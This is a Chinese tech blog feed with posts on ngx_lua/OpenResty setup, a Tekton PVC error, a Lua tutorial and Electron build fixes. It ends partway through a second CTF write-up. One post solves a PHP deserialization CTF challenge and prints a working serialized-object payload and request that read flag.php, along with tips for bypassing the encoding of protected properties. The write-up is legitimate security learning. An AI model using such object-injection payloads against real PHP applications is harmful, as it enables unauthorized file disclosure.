BoyChai's Blog https://blog.boychai.xyz/ BoyChai的博客,计算机网络爱好者,倾心于互联网发展 [Nginx]ngx_lua模块 https://blog.boychai.xyz/index.php/archives/71/ 2024-04-25T00:51:00+00:00 概述淘宝开发的ngx_lua模块通过将lua解释器解释器集成Nginx,可以采用lua脚本实现业务逻辑,由于lua的紧凑、快速以及内建协程,所以在保证高并发服务能力的同时极大降低了业务逻辑实现成本。安装方式1(已弃用)lua-nginx-moduleLuaJIT是采用C语言编写的Lua代表的解释器。官网: http://luajit.org在官网找到对应下载地址: https://github.com/LuaJIT/LuaJIT/tags[root@work env]# wget https://github.com/LuaJIT/LuaJIT/archive/refs/tags/v2.0.5.tar.gz [root@work env]# tar xvf v2.0.5.tar.gz [root@work env]# cd LuaJIT-2.0.5/ [root@work LuaJIT-2.0.5]# make && make install make[1]: Leaving directory '/opt/env/LuaJIT-2.0.5/src' ==== Successfully built LuaJIT 2.0.5 ==== ==== Installing LuaJIT 2.0.5 to /usr/local ==== mkdir -p /usr/local/bin /usr/local/lib /usr/local/include/luajit-2.0 /usr/local/share/man/man1 /usr/local/lib/pkgconfig /usr/local/share/luajit-2.0.5/jit /usr/local/share/lua/5.1 /usr/local/lib/lua/5.1 cd src && install -m 0755 luajit /usr/local/bin/luajit-2.0.5 cd src && test -f libluajit.a && install -m 0644 libluajit.a /usr/local/lib/libluajit-5.1.a || : rm -f /usr/local/bin/luajit /usr/local/lib/libluajit-5.1.so.2.0.5 /usr/local/lib/libluajit-5.1.so /usr/local/lib/libluajit-5.1.so.2 cd src && test -f libluajit.so && \ install -m 0755 libluajit.so /usr/local/lib/libluajit-5.1.so.2.0.5 && \ ldconfig -n /usr/local/lib && \ ln -sf libluajit-5.1.so.2.0.5 /usr/local/lib/libluajit-5.1.so && \ ln -sf libluajit-5.1.so.2.0.5 /usr/local/lib/libluajit-5.1.so.2 || : cd etc && install -m 0644 luajit.1 /usr/local/share/man/man1 cd etc && sed -e "s|^prefix=.*|prefix=/usr/local|" -e "s|^multilib=.*|multilib=lib|" luajit.pc > luajit.pc.tmp && \ install -m 0644 luajit.pc.tmp /usr/local/lib/pkgconfig/luajit.pc && \ rm -f luajit.pc.tmp cd src && install -m 0644 lua.h lualib.h lauxlib.h luaconf.h lua.hpp luajit.h /usr/local/include/luajit-2.0 cd src/jit && install -m 0644 bc.lua v.lua dump.lua dis_x86.lua dis_x64.lua dis_arm.lua dis_ppc.lua dis_mips.lua dis_mipsel.lua bcsave.lua vmdef.lua /usr/local/share/luajit-2.0.5/jit ln -sf luajit-2.0.5 /usr/local/bin/luajit ==== Successfully installed LuaJIT 2.0.5 to /usr/local ====lua-nginx-modulenginx第三方模块lua-nginx-module官网: https://github.com/openresty/lua-nginx-module[root@work env]# wget https://github.com/openresty/lua-nginx-module/archive/refs/tags/v0.10.26.tar.gz [root@work env]# tar xvf v0.10.26.tar.gz [root@work env]# ln -s lua-nginx-module-0.10.26 lua-nginx-module环境变量设置[root@work ~]# tail -n2 /etc/profile export LUAJIT_LIB=/usr/local/lib export LUAJIT_INC=/usr/local/include/luajit-2.0 [root@work ~]# source /etc/profile扩展nginx模块打开nginx编译安装的位置 进行重新编译安装[root@work nginx-1.24.0]# ./configure --prefix=/usr/local/nginx --sbin-path=/usr/local/nginx/sbin/nginx --conf-path=/usr/local/nginx/conf/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx/nginx.pid --lock-path=/var/lock/nginx.lock --user=nginx --group=nginx --with-http_ssl_module --with-http_stub_status_module --with-http_gzip_static_module --http-client-body-temp-path=/var/tmp/nginx/client/ --http-proxy-temp-path=/var/tmp/nginx/proxy/ --http-fastcgi-temp-path=/var/tmp/nginx/fcgi/ --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi --with-pcre --add-module=/opt/package/nginx/lua-nginx-module [root@work nginx-1.24.0]# make && make install扩展的重点是--with-pcre --add-module=/opt/package/nginx/lua-nginx-module这里就相当于重新安装了,之前安装的模块还需要再这里再添加一遍错误libluajit-5.1.so.2当在扩展号nginx模块后执行nginx相关命令出现以下错误[root@work ~]# nginx -V nginx: error while loading shared libraries: libluajit-5.1.so.2: cannot open shared object file: No such file or directory这个错误表明 Nginx 在启动时无法找到名为 libluajit-5.1.so.2 的共享库文件。这很可能是由于 Nginx 模块依赖 LuaJIT 库,但系统中缺少了该库所致。解决办法如下[root@work ~]# ln -s /usr/local/lib/libluajit-5.1.so.2 /lib64/liblua-5.1.so.2reason: module 'resty.core' not found[root@work conf]# nginx nginx: [alert] detected a LuaJIT version which is not OpenResty's; many optimizations will be disabled and performance will be compromised (see https://github.com/openresty/luajit2 for OpenResty's LuaJIT or, even better, consider using the OpenResty releases from https://openresty.org/en/download.html) nginx: [alert] failed to load the 'resty.core' module (https://github.com/openresty/lua-resty-core); ensure you are using an OpenResty release from https://openresty.org/en/download.html (reason: module 'resty.core' not found: no field package.preload['resty.core'] no file './resty/core.lua' no file '/usr/local/share/luajit-2.0.5/resty/core.lua' no file '/usr/local/share/lua/5.1/resty/core.lua' no file '/usr/local/share/lua/5.1/resty/core/init.lua' no file './resty/core.so' no file '/usr/local/lib/lua/5.1/resty/core.so' no file '/usr/local/lib/lua/5.1/loadall.so' no file './resty.so' no file '/usr/local/lib/lua/5.1/resty.so' no file '/usr/local/lib/lua/5.1/loadall.so') in /usr/local/nginx/conf/nginx.conf:117原因似乎是缺少lua-resty-core模块,这里手动编译安装一下项目地址: https://github.com/openresty/lua-resty-core[root@work nginx]# tar xvf v0.1.28.tar.gz tar xvf make install安装方式2概述直接使用OpenRestry,它是由淘宝工程师开发的,它是基于Nginx与Lua的高性能Web平台,其内部集成了大量精良的Lua库,第三方模块以及大多数的依赖项,用于方便搭建能够处理高并发、扩展性极高的动态Web应用、Web服务和动态网关。所以本身OpenResty内部就已经集成了Nginx和Lua,我们用起来会更加方便安装参考: https://openresty.org/cn/linux-packages.html配置:/usr/local/openrestry/nginx/conf关于OpenRestryOpenRestry,它是由淘宝工程师开发的,它是基于Nginx与Lua的高性能Web平台,其内部集成了大量精良的Lua库,第三方模块以及大多数的依赖项,用于方便搭建能够处理高并发、扩展性极高的动态Web应用、Web服务和动态网关。所以本身OpenResty内部就已经集成了Nginx和Lua,我们用起来会更加方便。PS:本文只讲ngx_lua的使用,其他的基本和nginx配置无区别。ngx_lua相关指令块使用Lua编写Nginx脚本的基本构建块是指令。指令用于指定何时运行用户Lua代码以及如何使用结果。下图显示了执行指令的顺序。先来解释一下*的作用*:无 , 即 xxx_by_lua ,指令后面跟的是 lua指令 *:_file,即 xxx_by_lua_file 指令后面跟的是 lua文件 *:_block,即 xxx_by_lua_block 在0.9.17版后替换init_by_lua_fileinit_by_lua*该指令在每次Nginx重新加载配置时执行,可以用来完成一些耗时模块的加载,或者初始化一些全局配置。init_worker_by_lua*该指令用于启动一些定时任务,如心跳检查、定时拉取服务器配置等。set_by_lua*该指令只要用来做变量赋值,这个指令一次只能返回一个值,并将结果赋值给Nginx中指定的变量。rewrite_by_lua*该指令用于执行内部URL重写或者外部重定向,典型的如伪静态化URL重写,本阶段在rewrite处理阶段的最后默认执行。access_by_lua*该指令用于访问控制。例如,如果只允许内网IP访问。content_by_lua*该指令是应用最多的指令,大部分任务是在这个阶段完成的,其他的过程往往为这个阶段准备数据,正式处理基本都在本阶段。header_filter_by_lua*该指令用于设置应答消息的头部信息。body_filter_by_lua*该指令是对响应数据进行过滤,如截断、替换。log_by_lua*该指令用于在log请求处理阶段,用Lua代码处理日志,但并不替换原有log处理。balancer_by_lua*该指令主要的作用是用来实现上游服务器的负载均衡器算法ssl_certificate_by_*该指令作用在Nginx和下游服务开始一个SSL握手操作时将允许本配置项的Lua代码。案例1需求输出内容配置 location /lua { default_type 'text/html'; content_by_lua 'ngx.say("<h1>HELLO,OpenResty</h1>")'; }案例2需求http://xxx/?name=张三&gender=1 Nginx接收到请求后根据gender传入的值,如果是gender传入的是1,则展示张三先生,如果是0则展示张三女士,如果都不是则展示张三。配置 location /getByGender { default_type 'text/html'; set_by_lua $param " -- 获取请求URL上的参数对应的值 local uri_args = ngx.req.get_uri_args() local name = uri_args['name'] local gender = uri_args['gender'] -- 条件判断 if gender 1 先生 0 女士 if gender == '1' then return name..'先生' elseif gender == '0' then return name..'女士' else return name end "; # 解决中文乱码 charset utf-8; # 返回数据 return 200 $param; }ngx.req.get_uri_args()返回的是一个table类型案例3需求动态获取docker容器ip,做代理配置server{ listen 80; server_name code.boychai.xyz; client_max_body_size 4096M; set_by_lua $param ' local name = "gitea" local port = "3000" local command = string.format("echo -n `docker inspect --format=\'{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}\' %s`", name) local handle = io.popen(command) local result = handle:read("*a") handle:close() return "http://"..result..":"..port '; location / { if ( $param = 'http://:3000' ) { return 500 "Error in obtaining site IP"; } proxy_pass $param; proxy_set_header Host $proxy_host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } [Tekton] 报错: more than one PersistentVolumeClaim is bound https://blog.boychai.xyz/index.php/archives/70/ 2024-04-24T11:45:00+00:00 复现task-nodejs.yamlapiVersion: tekton.dev/v1beta1 kind: Task metadata: name: build-node-project spec: workspaces: - name: cache mountPath: /root/.npm - name: source - name: output params: - name: imgTag type: string - name: run type: string - name: dir type: string steps: - name: build workingDir: "$(workspaces.source.path)/$(params.dir)" image: "node:$(params.imgTag)" script: | rm -rf package-lock.json npm install --registry=https://registry.npmmirror.com/ npm run $(params.run) cp -r dist/* $(workspaces.output.path)/taskrun.yamlapiVersion: tekton.dev/v1 kind: TaskRun metadata: generateName: build-node-project-run- generation: 1 namespace: cicd-services spec: params: - name: dir value: frontend - name: imgTag value: 21.6.2 - name: run value: build serviceAccountName: default taskRef: kind: Task name: build-node-project workspaces: - name: cache persistentVolumeClaim: claimName: node-cache-pvc - name: source persistentVolumeClaim: claimName: test-tekton-vue-pvc - name: output persistentVolumeClaim: claimName: test-tekton-vue-output-pvc运行之后会出现下面报错TaskRunValidationFailed [User error] more than one PersistentVolumeClaim is bound原因报错翻译TaskRunValidationFailed[用户错误]绑定了多个PersistentVolumeClaim,很明确他允许绑定多个pvc,这个蛮离谱的,cicd的过程中用到多个存储应该是很正常的事,tekton却默认不支持绑定多个pvc。解决修改tekton的配置把参数disable-affinity-assistant修改为true,即可kubectl -n tekton-pipelines edit cm feature-flags这个参数的作用如下设置为 true 将阻止 Tekton 为共享了 workspace 的每个 TaskRun 创建 Affinity Assistant Pod。 这样就可以保证这些 pod 运行在同一个节点上,避免了跨节点访问 pvc 的问题。还有就是这个功能在v0.60会被弃用,未来估计不会因为这个问题报这个错了。参考ISSUE: https://github.com/tektoncd/pipeline/issues/6543TektonDocs: https://github.com/tektoncd/pipeline/blob/main/docs/affinityassistants.md配置参考: https://www.soulchild.cn/post/tekton-operator%E9%85%8D%E7%BD%AE%E5%8F%82%E6%95%B0%E8%AF%A6%E8%A7%A3/ [Lua]快速入门 https://blog.boychai.xyz/index.php/archives/69/ 2024-04-17T08:01:00+00:00 Lua概念Lua是一种轻量、小巧的脚本语言,用标准的C语言编写并以源代码形式开发。设计目的是为了嵌入其他的程序中,从而为应用程序提供灵活的扩展和定制功能。特性和他语言相比,Lua有其自身的特点:(1)轻量级lua用标准C语言编写并以源代码形式开发,编译后仅仅一百余千字节,可以很方便的嵌入道其他程序中。(2)可扩展lua提供非常丰富易于使用的扩展接口和机制,由宿主语言(通常是C或C++)提供功能,lua可以使用它们,就像内置的功能一样。(3)支持面向过程编程和函数式编程应用场景游戏开发、独立应用脚本、web应用脚本、扩展和数据库插件、系统安全上。安装官网: https://www.lua.org/[root@work env]# wget https://www.lua.org/ftp/lua-5.4.6.tar.gz [root@work env]# tar xvf lua-5.4.6.tar.gz [root@work lua-5.4.6]# make linux test [root@work lua-5.4.6]# make install cd src && mkdir -p /usr/local/bin /usr/local/include /usr/local/lib /usr/local/man/man1 /usr/local/share/lua/5.4 /usr/local/lib/lua/5.4 cd src && install -p -m 0755 lua luac /usr/local/bin cd src && install -p -m 0644 lua.h luaconf.h lualib.h lauxlib.h lua.hpp /usr/local/include cd src && install -p -m 0644 liblua.a /usr/local/lib cd doc && install -p -m 0644 lua.1 luac.1 /usr/local/man/man1 [root@work lua-5.4.6]# lua -v Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio语法他的语法和C/C++语法非常相似,整体上比较清晰,简洁。条件语句、循环语句、函数调用都与C/C++基本一致。交互式HelloWorld[root@work env]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > print('hello world!!') hello world!! > 脚本式HelloWorld第一种方式[root@work ~]# mkdir lua_demo [root@work ~]# cd lua_demo/ [root@work lua_demo]# vim hello.lua [root@work lua_demo]# cat hello.lua print('hello world!!!') [root@work lua_demo]# lua hello.lua hello world!!!第二种方式[root@work lua_demo]# vim hello.lua [root@work lua_demo]# cat hello.lua #! /usr/local/bin/lua print('hello world!!!') [root@work lua_demo]# chmod +x hello.lua [root@work lua_demo]# ./hello.lua hello world!!!注释%% 单行注释 %% -- print("111") %% 多行注释 %% --[[ print("222") --]] %% 取消多行注释 %% ---[[ print("222") --]]测试[root@work lua_demo]# vim demo2.lua [root@work lua_demo]# cat demo2.lua -- print("111") --[[ print("222") --]] ---[[ print("333") --]] [root@work lua_demo]# lua demo2.lua 333标识符标识符就是变量名,Lua定义变量名以 一个字母A到Z或a到z或下划线_开头后加上0个或者多个字母,下划线,数字(0-9)。这块建议最好不要使用下划线加大写字母的标识符,因为Lua的保留字也是这样定义的,容易发生冲突。注意Lua是区分大小写字母的。关键字下面Lua的关键词,大家在定义常量、变量或其他用户定义标识符都要避免使用一下关键字andbreakdoelseelseifendfalseforfunctionifinlocalnilnotorrepeatreturnthentrueuntilwhilegoto 一般约定,一以下划线开头连接一串大写字母的名字(比如_VERSION)被保留用于Lua内部全局变量。这个也是上面我们不建议这么定义标识符的原因运算符Lua中支持的运算符有算数运算符、关系运算符、逻辑运算符、其他运算符。算数运算符+ 加 - 减 * 乘 / 除 % 取余 ^ 乘幂 - 负号关系运算符== 等于 ~= 不等于 > 大于 < 小于 >= 大于等于 <= 小于等于逻辑运算符and 与 同时true返回true or 或 一个true返回true not 非 取反其他运算符.. 连接两个字符串 # 一元预算法,返回字符串或表的长度例如[root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > > print('HELLO '..'WORLD') HELLO WORLD > print(#'hello') 5全局变量&局部变量在Lua语言中,全局变量无须声明即可使用。在默认情况下,变量总是认为是全局的,如果未提前赋值,默认为nil。如果想要声明一个局部变量需要使用local来声明。[root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > b=10 > print(b) 10 > local a = 100 > print(a) nil > local a = 100; print(a) 100 > 数据类型全部的类型Lua有8个数据类型nil(空,无效值) boolean(布尔,true/false) number(数值) string(字符串) function(函数) table(表) thread(线程) userdata(数据用户)可以使用type函数测试给定变量或者类型:[root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > print(type(nil)) nil > print(type("aaa")) string > nilnil是一种只有一个nil值的类型,他的作用可以用来与其他所有值进行区分,也可以当想要移除一个变量时,只需要将该变量名赋值为nil,垃圾回收就会释放该变量所占用的内存。booleanboolean类型具有两个值,true和false。在Lua中,只会将false和nil视为假,其他都是真,特别是在条件检测中0和空字符串都会认为是真,这个和我们熟悉的大多语言不太一样。number在lua5.3开始,lua语言为数值格式提供了两种选择:integer(整型)和float(双精度浮点型)[和其他语言不太一样,floatu代表单精度类型],u不管是整形还是双精度浮点型,使用type()函数来取其类型,返回的都是number。还有就是他们之间是可以直接相互转换的。stringLua语言中的字符串可以标识单个字符,也可以标识一整本书籍。在Lua语言中,操作100k或者1M个字母组成的字符串的程序很常见。如果字符串数据很多可以这样写a = [[ <html> xxx xxxx xxx </html> ]]tabletable是lua语言中最主要和强大的数据结构。使用表,Lua语言可以以一种简单、统一且高效的方式标识数组、合集、记录和其他很多数据结构。Lua语言中的表本质上是一种辅助数组。这种数组比Java中的数组更加灵活,可以使用数值做索引,也可以使用字符串或其他任意类型的值做索引(nil除外)[root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > a = {} > arr = {"TOM","JERRY","ROSE"} > print(arr[0]) nil > print(arr[1]) TOM > print(arr[2]) JERRY > print(arr[3]) ROSE > arr={} > arr["X"]=10 > arr["Y"]=20 > arr["Z"]=30 > print(arr["X"]) 10 > print(arr["Y"]) 20 > print(arr["Z"]) 30 > arr.X 10 > arr.Y 20 > arr.Y 20 > arr={"TOM",X=10,"JERRY",Y=20,"ROSE",Z=30} > arr[1] TOM > arr[2] JERRY > arr[3] ROSE > arr[4] nil > arr.X 10 > arr["X"] 10 > arr.Z 30 > function在Lua语言中,函数(Function)是对语句和表达式进行抽象的主要方式定义函数:function functionName(params) code end函数被调用的时候,传入的参数个数与定义函数时使用的参数个数不一致的时候,Lua会通过抛弃多余参数和将不足的参数设为nil的方式来调整数的个数。[root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > function f(a,b) >> print(a,b) >> end > f() nil nil > f(2) 2 nil > f(2,6) 2 6 > f(2,6,8) 2 6可变参数[root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > function add(...) >> local a,b,c=... >> print(a,b,c) >> end > add(1,2,3) 1 2 3 > add(1) 1 nil nil > add(1,2,3,4,5,6) 1 2 3 > 返回值[root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > function add(a,b) >> return b,a >> end > x,y=add(100,200) > print(y) 100 > print(x) 200 > 控制结构Lua语言提供了一组精简且常用的控制结构,包括用于条件执行的if以及用户循环的while、repeat和for。所有的控制语法上都有一个显示的终结符:end用于中介if、for以及while结构,until用于中介repeat结构。if语句if语句先测试其条件,并根据条件是否满足执行响应的then部分或else部分。else部分是可选的。[root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > function testif(a) >> if a>0 then >> print("a是正数") >> end >> end > testif(2) a是正数 > testif(1) a是正数 > testif(-1) > function testif(a) >> if a>0 then >> print("a是正数") >> else >> print("a是负数") >> end >> end > testif(1) a是正数 > testif(-1) a是负数 > 嵌套IF相关案例如下[root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > function show(age) >> if age <= 18 then >> return "qingshaonian" >> elseif age>18 and age <=45 then >> return "qingnian" >> elseif age>45 and age <=60 then >> return "zhongnianren" >> else >> return "laonianren" >> end >> end > print(show(17)) qingshaonian > print(show(19)) qingnian > print(show(56)) zhongnianren > print(show(80)) laonianrenwhile循环语法如下while 条件 do 循环体 end案例[root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > function testwhile() >> local i=1 >> while i<=10 do >> print(i) >> i=i+1 >> end >> end > testwhile() 1 2 3 4 5 6 7 8 9 10repeat循环repeat-until语句回重复执行其循环体直到条件为真时结束。由于条件测试在循环体之后执行,所以至少会循环执行一次。语法如下repeat 循环体 until 条件案例如下[root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > function testRepeat() >> local i = 10 >> repeat >> print(i) >> i=i-1 >> until i < 1 >> end > testRepeat() 10 9 8 7 6 5 4 3 2 1for循环数值型语法如下for param=exp1,exp2,exp3 do 循环体 endparam的值从exp1变化到exp2之前的每次循环会执行循环体,并在每次循环结束的时候步长,和python的for差不多。案例如下[root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > for i = 1,100,10 do >> print(i) >> end 1 11 21 31 41 51 61 71 81 91泛型泛型for循环是通过一个迭代器函数来遍历所有的值,类似于java中的foreach语句语法for i,v in ipairs(x) do 循环体 endi是数组索引,v是对应索引的数组元素值,ipairs是Lua提供的一个迭代器函数,用来迭代数组,x是要遍历的数组。只后pairs也是Lua提供的夜歌迭代函数,他和ipairs的区别是pairs可以迭代一些指定键的table。案例如下[root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > arr = {"TOME","JERRY","ROWS","LUCY"} > for i,v in ipairs(arr) do >> print(i,v) >> end 1 TOME 2 JERRY 3 ROWS 4 LUCY [root@work lua_demo]# lua Lua 5.4.6 Copyright (C) 1994-2023 Lua.org, PUC-Rio > arr = {"TOM","JERRY","ROSES",x="JACK","LUCY"} > function testfor(arr) >> for i,v in pairs(arr) do >> print(i,v) >> end >> end > testfor(arr) 1 TOM 2 JERRY 3 ROSES 4 LUCY x JACK [排错笔记]Vue3+Electron构建报错 https://blog.boychai.xyz/index.php/archives/68/ 2024-02-19T15:25:00+00:00 使用环境"Node":"21.6.2" "@vue/cli-service": "~5.0.0", "electron": "^13.0.0",问题一报错background.js from Terser Error: error:0308010C:digital envelope routines::unsupported at new Hash (node:internal/crypto/hash:68:19) at Object.createHash (node:crypto:138:10) at E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\webpack\node_modules\terser-webpack-plugin\dist\index.js:217:37 at Array.forEach (<anonymous>) at TerserPlugin.optimizeFn (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\webpack\node_modules\terser-webpack-plugin\dist\index.js:160:259) at _next0 (eval at create (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:8:1) at eval (eval at create (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:23:1) at processTicksAndRejections (node:internal/process/task_queues:95:5)原因用了高版本的node.js解决给NODE_OPTIONS添加环境变量--openssl-legacy-provider,低版本的不需要,默认忽略ssl验证set NODE_OPTIONS=--openssl-legacy-provider问题二报错Error output: !include: could not find: "E:\前端\assist\node_modules\app-builder-lib\templates\nsis\include\StdUtils.nsh" Error in script "<stdin>" on line 1 -- aborting creation process at ChildProcess.<anonymous> (E:\前端\assist\node_modules\builder-util\src\util.ts:250:14) at Object.onceWrapper (node:events:634:26) at ChildProcess.emit (node:events:519:28) at ChildProcess.cp.emit (E:\前端\assist\node_modules\builder-util\node_modules\cross-spawn\lib\enoent.js:34:29) at maybeClose (node:internal/child_process:1105:16) at Process.ChildProcess._handle.onexit (node:internal/child_process:305:5) { exitCode: 1, alreadyLogged: false, code: 'ERR_ELECTRON_BUILDER_CANNOT_EXECUTE' }原因路径有中文路径解决切换项目目录给copy到个全英路径的位置问题三报错打开页面全白原因路由模式用的history解决路由模式切换成hash模式问题四报错 <router-view>标签不生效原因不清楚为什么会这样 反正我这个版本打包后 electron不会进入”/“路径下 但是在本地访问的时候会解决在App.vue中直接push到/import { useRouter } from "vue-router"; const router = useRouter(); router.push(`/`);要注意的是router.back();路由跳转我这边也不生效了,需要都替换成push('/')。问题五报错 • cannot get, wait error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. attempt=0 waitTime=2 • cannot get, wait error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. attempt=1 waitTime=4 • cannot get, wait error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. attempt=2 waitTime=6 ⨯ Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.win跨平台构建linux从service.electron.build下载资源失败,换代理也没用原因这个站点service.electron.build似乎在2020年就关闭,一直也没人来修这个玩意解决换linux主机构建或者采用docker的容器进行构建ISSUES:https://github.com/electron-userland/electron-build-service/issues/9 [代码审计]网鼎杯_2020_青龙组_AreUSerialz https://blog.boychai.xyz/index.php/archives/67/ 2023-10-16T02:16:00+00:00 题目buuoj-网鼎杯_2020_青龙组_AreUSerialz源码<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }分析一看这个题目就是一道反序列的题目,上面定义了一个FileHandler类,之后定义了一个is_valid方法,这个方法的目的是过滤字符串,ord函数是转换ASCII码,32-125区间基本上就是所有字母数字和符号了,之后最后面这个是get获取一个str的值,之后检测是否是字符串,之后把字符串进行序列化。接下来详细看看FileHandler类: class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } }分析了一下代码,output、read、write方法都需要通过process方法来触发,output代码如下 private function output($s) { echo "[Result]: <br>"; echo $s; }很简单没啥好说的,就是输出传入的内容。read方法代码如下, private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }是去调用file_get_contents方法来读取filename变量里的文件,之后返回读取的内容。再看看write方法 private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }显示content不能大于100的长度,之后将content的内容写入filename,写入之后输出Successful!否则都是Failed!,再看看process方法 public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }如果op=1则会进行写内容,如果等于2回去执行read()方法之后输出读取的内容,否则就输出"Bad Hacker!"。分析完基本的函数之后可以知道三个变量的作用 protected $op; protected $filename; protected $content;op是用来定义操作模式的,1是写2是读,filename是文件名称文件位置,content是写入时的内容。再看看两个魔法函数__construct()是构造函数__destruct()销毁函数,销毁的时候会触发。构造函数在这里没用主要看这个销毁函数,代码如下 function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }也没啥东西,这里有个误导,就是里面的那个判断,他这个判断是三个等号的,会先判断类型,他这里判断的是字符串的2,之后content传入什么都无所谓了,剩下的就会交给process处理。解题分析完代码思路就清晰了,我们需要反序列化出一个FileHandler,内容op需要等于2,filename需要等于flag.php即可拿到falg。解题方式如下<?php class FileHandler { public $op = 2; public $filename = "flag.php"; public $content = "xd"; } $a = new FileHandler(); $flag= serialize($a); echo $flag; /// output O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}之后请求http://7952a287-fef7-4773-9245-e58b63cba8f5.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:2:%22xd%22;}网页显示返回为空直接查看源代码拿到flag?php $flag='flag{a0ad20b0-919b-479a-b2e8-78afe8be30cc};补充为什么不使用protected来序列化?PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。 作者:很菜的wl https://www.bilibili.com/read/cv18129820/ 出处:bilibili [代码审计]攻防世界-simple_js https://blog.boychai.xyz/index.php/archives/65/ 2023-10-08T01:26:00+00:00 题目叫做simple_js,题目描述为小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )打开网页之后是一个输入密码的框,自己随便输入点内容页面显示FAUX PASSWORD HAHA,自己肯定时没密码的,直接看源代码,核心代码如下function dechiffre(pass_enc){ var pass = 